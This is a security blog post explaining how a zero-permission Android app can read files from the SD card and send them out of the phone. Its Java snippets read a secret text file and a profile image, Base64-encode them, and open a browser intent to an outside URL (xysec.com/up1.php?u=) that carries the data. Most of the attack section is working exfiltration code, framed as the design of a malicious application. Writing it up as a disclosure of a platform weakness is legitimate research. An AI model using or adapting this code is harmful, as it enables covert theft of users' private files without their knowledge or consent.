menu
close_24px

BLOG

Bypassing the Android Permission Model

Android permissions are based on the UNIX permission model. However, the Android Platform provides certain APIs that bypass Android. Learn more about it in this blog.
  • Posted on: May 28, 2019
  • By Subho Halder
  • Read time 4 Mins Read
  • Last updated on: Jan 10, 2025

The Android permission mystery

Android permissions are based on the UNIX permission model, but the catch here is that certain APIs provided by the Android Platform itself exist that allow us to communicate with each other bypassing the Android permission model.

What are Android permissions?

If you ever tried to create an Android application, or if you ever had decompiled one, you will certainly notice that there exists a file named AndroidManifest.xml
This file contains the application-related properties, such as the application name, application package name, permission required by the application, etc.

For this article, we are more interested in the Permission part of the manifest file.

These permission tags look like:

<uses-permission android:name="android.permission.INTERNET" />

The above tag states that the application requires permission to access the INTERNET. While installing the application, the user will get a screen similar to

Screen_Shot_2013_11_23_at_3_06_05_AM-4


Figure 1
: App having INTERNET permission only.

Now imagine an application having these many permissions while you try to install the application from the Google Play Store.

Apps having lot of permission


Figure 2
: App having lots of permissions

At the same time, you will find another similar application in another AppMarket. Below is the screen of the application.

No Permission APPLICATION


Figure 3
: App having no permissions at all

Maximum people will support the application having NO permission, which seems safe for now.
Before we go into how we can bypass the permission and build a malicious application, let me elaborate more about the permission model.

In UNIX, the user model system consists of the following factors:

  • User ID - Each application has a unique User ID.
  • Group ID - Each User ID has a unique Group ID, and this Group ID may belong to members of other GroupID.
  • Groups - Each Group ID belongs to certain groups such as inet for internet, sdcard_rw for External storage read-write, etc.

To explain the above fact, we can see in Figure 4 how the application shown in Figure 2 looks like in unix permission model.

Screen_Shot_2013_11_23_at_10_45_06_AM-4


Figure 4
: Applications with many permissions are associated with many groups.

If we now install the application with no permission, which is shown in Figure 3, and do the same, we will get something like the image below.

Screen_Shot_2013_11_23_at_10_52_43_AM-4Screen_Shot_2013_11_23_at_10_52_43_AM-4


Figure 5
: Applications with no permission are associated with no groups

So now we have seen how the uses-permission tag determines during application installation which are the UNIX groups it needs to be associated with so that it can perform things which being a member of the group, which permits you to do so.

Bypassing the permission model

A malicious application needs the following structure to upload data to a remote server.

Screen_Shot_2013_11_23_at_11_36_55_AM-4


Figure 6
: Flow diagram of a malicious Application

Before Android version 4.1 (JellyBean), there was no enforced permission to read files from SD-Card. You will be surprised that even after Android version 4.1, there is still no permission to read files from SD-Card, but we can explicitly enforce permission from the Developer option.

Enforcing permission from Developer options


Figure 7
: Enforcing permission from developer options.

By default, this option is never checked. So, a malicious application can read any files from the SD-Card storage.

UPDATE: Thanks, Kyle Osborn, for pointing out from API 19 (Android 4.4) onwards that permission to read from SD-Card is enforced. We need to use:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

You can visit by clicking here for more information.

What about sending the files to a remote server?

To send a file to a remote server, we use the Android browser, which requires no permission at all to send it to a remote server!
To call the browser with the specified URL, we use the following code:

Intent(Intent.ACTION_VIEW,Uri.parse("http://google.com/"));

This opens up the browser and points it to redirect it to http://google.com. This method does not require any INTERNET permissions.

The problem remains: how can we send a file to the remote server using a browser?

This can be achieved by using the GET method to upload files to the server. The file can be encoded to Base64 encoding, which is a binary-to-text encoding scheme that represents binary data in an ASCII string format.

In JAVA, we write the following code to get a text file which is stored in /mnt/sdcard/secret.txt:

        StringBuffer sb = new StringBuffer("");
String line = "";
String NL = System.getProperty("line.separator");
String str = "cat /mount/sdcard/secret.txt";
Log.v("testing", str);

Process process = null;
try {
process = Runtime.getRuntime().exec(str);
} catch (IOException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
throw new RuntimeException(e);
}
// Reads stdout.
// NOTE: You can write to stdin of the command using
// process.getOutputStream().

 

BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
int read;
char[] buffer = new char[4096];
StringBuffer output = new StringBuffer();
try {
while ((read = reader.read(buffer)) > 0) {
output.append(buffer, 0, read);
}
} catch (IOException e) {
throw new RuntimeException(e);
}
Log.v("testing33", str);
try {
reader.close();
} catch (IOException e) {
throw new RuntimeException(e);
}


// Waits for the command to finish.
try {
process.waitFor();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
}
String ret = output.toString();

But to get a binary file, for example, a JPG file stored in /mnt/sdcard/profile.jpg, we have the following snippets:

        final File file = new File("/mnt/sdcard/profile.jpg");
Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {
InputStream is = cr.openInputStream(uri);

bMap = BitmapFactory.decodeStream(is);

 

if (is != null) {
is.close();
}
} catch (Exception e) {
Log.e("Error reading file", e.toString());
}


ByteArrayOutputStream baos = new ByteArrayOutputStream();
bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);
byte[] b = baos.toByteArray();
String ret=Base64.encodeToString(b,Base64.DEFAULT);

This returns the Base64 encoded version of the image file. What about sending this file to a remote server?

The above codes contain the file data in a string called ret, which needs to be uploaded to the server using the GET method. This is the simplest part! The following snippet does the job beautifully:

startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://xysec.com/up1.php?u="+ret)));

Screen_Shot_2013_11_23_at_12_28_56_PM-4Screen_Shot_2013_11_23_at_12_28_56_PM-4


Figure 8
: The malicious application flow

Conclusion

Malicious applications can bypass all the required permissions to upload sensitive information from your phone to their remote server. If you have any related queries, you can comment on my post, and I will get back to you promptly.

Community giveaway

The code for the Zero Permission Application can be found in my GIT Repository. The application is released under a GPL License. Please give proper credits and citations when you use the code :)